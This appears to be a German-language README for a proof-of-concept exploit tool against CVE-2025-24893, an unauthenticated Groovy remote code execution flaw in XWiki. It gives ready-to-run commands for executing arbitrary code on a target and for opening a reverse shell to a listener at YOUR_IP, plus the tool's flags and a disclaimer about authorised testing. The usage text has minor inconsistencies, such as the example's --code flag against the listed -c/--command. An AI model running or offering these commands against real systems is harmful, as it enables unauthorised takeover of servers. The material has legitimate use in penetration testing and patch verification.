80ottanta80/cve-2025-24893-pocXWiki Unauthenticated RCE Exploit für Reverse Shell
XWiki Unauthenticated RCE Exploit
Betroffene XWiki-Versionen enthalten eine Remote Code Execution-Schwachstelle, die durch unsichere Groovy-Ausdrucksverarbeitung im SolrSearch-Makro verursacht wird. Nicht authentifizierte Angreifer können beliebigen Groovy-Code remote ausführen und eine Reverse Shell erhalten.
Dieser Exploit kann zur Ausführung von Code auf dem Zielsystem verwendet werden und kann auch eine Reverse Shell herstellen. Es stehen zwei Modi zur Verfügung: interaktiv oder parameterbasiert. Der Exploit kann automatisch einen Listener starten oder einen vorhandenen verwenden.
python3 xwiki_groovy_rce.py
# Remote Code Execution
python3 xwiki_groovy_rce.py --code "mkdir test" -u http://example.com
# Reverse Shell with automatic listener (default)
python3 xwiki_groovy_rce.py --reverse-shell -u http://example.com -i YOUR_IP -p 4480
# Reverse Shell without existing listener (no automatic listener)
python3 xwiki_groovy_rce.py --reverse-shell -u http://example.com -i YOUR_IP -p 4480 --no-listener
-h/--help: Hilfe anzeigen
-u/--url: Ziel-XWiki-URL (erforderlich)
-r/--reverse-shell: Reverse Shell ausführen
-c/--command: Einzelnen Befehl ausführen
-i/--ip: Listener-IP angeben (nur für Reverse Shell)
-p/--port: Listener-Port angeben (nur für Reverse Shell, Standard=4444)
--no-listener: Keinen Listener starten (nur für Reverse Shell)
Dieses Proof-of-Concept dient ausschließlich zu Bildungs- und autorisierten Testzwecken.
Die unbefugte Nutzung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal.
Die Autoren übernehmen keine Verantwortung für Missbrauch dieser Informationen.